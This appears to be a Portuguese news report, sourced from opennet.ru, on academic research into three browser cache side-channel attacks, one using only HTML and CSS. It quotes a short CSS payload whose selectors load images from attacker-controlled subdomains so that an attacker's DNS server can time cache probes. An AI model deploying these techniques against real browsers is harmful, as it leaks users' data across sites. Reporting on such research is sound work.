Ataque de extração de cache de CPU implementado em um navegador sem JavaScript

Uma equipe de pesquisadores de diversas universidades americanas, israelenses e australianas desenvolveu três ataques executados em navegadores da web para extrair informações sobre o conteúdo do cache do processador. Um método funciona em navegadores sem JavaScript e os outros dois ignoram os métodos existentes de proteção contra ataques de canal lateral, incluindo aqueles usados ​​no navegador Tor e no DeterFox. O código para demonstração dos ataques, bem como os componentes do servidor necessários para os ataques, estão publicados no GitHub.

Para analisar o conteúdo do cache, todos os ataques utilizam o método Prime+Probe, que envolve preencher o cache com um conjunto padrão de valores e detectar alterações medindo o tempo de acesso a eles ao recarregá-los. Para contornar os mecanismos de segurança presentes nos navegadores que interferem na medição precisa do tempo, em duas opções, é feito um apelo a um servidor DNS ou WebSocket controlado pelo invasor, que mantém um registro do horário das solicitações recebidas. Numa modalidade, um tempo de resposta DNS fixo é usado como referência de tempo.

Medições feitas em servidores DNS externos ou WebSocket, utilizando um sistema de classificação baseado em aprendizado de máquina, foram suficientes para prever valores com precisão de até 98% no cenário mais ideal (média 80-90%). Os métodos de ataque foram testados em várias plataformas de hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) e provaram ser universais.

Ataque de extração de cache de CPU implementado em um navegador sem JavaScript

A primeira variante do ataque DNS Racing usa uma implementação clássica do método Prime+Probe usando arrays JavaScript. As diferenças se resumem ao uso de um temporizador externo baseado em DNS e um manipulador onerror, que é acionado quando é feita uma tentativa de carregar uma imagem de um domínio inexistente. Um cronômetro externo permite um ataque Prime+Probe em navegadores que limitam ou desativam completamente o acesso aos cronômetros JavaScript.

Para um servidor DNS localizado na mesma rede Ethernet, a precisão do temporizador é estimada em aproximadamente 2 ms, o que é suficiente para realizar um ataque de canal lateral (para comparação, a precisão do temporizador JavaScript padrão no navegador Tor é reduzido para 100ms). Para um ataque, não é necessário controle sobre o servidor DNS, pois o tempo de execução da operação é selecionado de forma que o tempo de resposta do DNS sirva como um sinal de conclusão antecipada da verificação (dependendo se o manipulador onerror foi acionado mais cedo ou mais tarde, chega-se a uma conclusão sobre a velocidade da operação de verificação com o cache) .

O segundo método de ataque, “String and Sock”, visa contornar técnicas de segurança que restringem o uso de arrays de baixo nível em JavaScript. Em vez de arrays, String e Sock usam operações em strings muito grandes, cujo tamanho é escolhido de forma que a variável cubra todo o cache LLC (cache de último nível). Em seguida, usando a função indexOf(), uma pequena substring é pesquisada na string, que está inicialmente ausente na string de origem, ou seja, a operação de pesquisa resulta na iteração de toda a string. Como o tamanho da linha corresponde ao tamanho do cache LLC, a varredura permite realizar uma operação de verificação de cache sem manipular os arrays. Para medir atrasos, em vez de DNS, é feita uma chamada para um servidor WebSocket controlado pelo invasor - antes e depois de concluída a operação de busca, são enviadas consultas na linha, com base nas quais o servidor calcula o atraso usado para analisar o cache conteúdo.

A terceira variante do ataque “CSS PP0” é implementada através de HTML e CSS, e pode funcionar em navegadores com JavaScript desabilitado. O método é semelhante a "String and Sock", mas não está vinculado ao JavaScript. Durante o ataque, é gerado um conjunto de seletores CSS que pesquisam por máscara. A grande string inicial que preenche o cache é definida criando uma tag div com um nome de classe muito grande. Dentro há um conjunto de outras divs com seus próprios identificadores. Cada uma dessas divs aninhadas tem seu próprio estilo com um seletor que procura uma substring. Ao renderizar uma página, o navegador primeiro tenta processar os divs internos, o que resulta em uma operação de pesquisa em uma linha grande. A pesquisa é realizada usando uma máscara deliberadamente ausente e leva à iteração em toda a linha, após a qual a condição “não” é acionada e é feita uma tentativa de carregar uma imagem de fundo referenciando domínios aleatórios: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Os subdomínios são atendidos pelo servidor DNS do invasor, que pode medir atrasos no recebimento de solicitações. O servidor DNS emite NXDOMAIN para todas as solicitações e mantém um registro do horário exato das solicitações. Como resultado do processamento de um conjunto de divs, o servidor DNS do invasor recebe uma série de solicitações, cujos atrasos se correlacionam com o resultado da verificação do conteúdo do cache.

Ataque de extração de cache de CPU implementado em um navegador sem JavaScript


Fonte: opennet.ru

Adicionar um comentário